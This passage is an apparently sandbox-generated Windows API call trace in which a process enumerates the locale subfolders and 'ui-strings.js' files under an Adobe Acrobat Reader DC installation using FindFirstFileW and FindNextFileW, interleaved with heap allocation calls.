nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.517] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.517] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.517] GetProcessHeap () returned 0xc10000 [0246.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.517] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0246.517] GetProcessHeap () returned 0xc10000 [0246.517] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.518] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.518] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.518] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.518] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.518] GetProcessHeap () returned 0xc10000 [0246.518] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.518] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0246.518] GetProcessHeap () returned 0xc10000 [0246.518] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0246.640] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.640] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.640] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.640] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0246.641] GetProcessHeap () returned 0xc10000 [0246.641] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.641] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0246.641] GetProcessHeap () returned 0xc10000 [0246.641] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0246.664] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.664] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.664] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.664] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0246.664] GetProcessHeap () returned 0xc10000 [0246.664] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.664] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0246.665] GetProcessHeap () returned 0xc10000 [0246.665] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.666] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.666] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.666] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.666] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.666] GetProcessHeap () returned 0xc10000 [0246.666] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.666] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0246.666] GetProcessHeap () returned 0xc10000 [0246.666] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.667] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.667] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.667] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.667] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.667] GetProcessHeap () returned 0xc10000 [0246.667] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.668] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0246.668] GetProcessHeap () returned 0xc10000 [0246.668] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.669] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.669] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.669] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.669] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.670] GetProcessHeap () returned 0xc10000 [0246.670] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.670] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0246.670] GetProcessHeap () returned 0xc10000 [0246.670] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0246.670] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.671] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.671] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.671] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0246.671] GetProcessHeap () returned 0xc10000 [0246.671] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.671] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0246.671] GetProcessHeap () returned 0xc10000 [0246.671] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.672] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 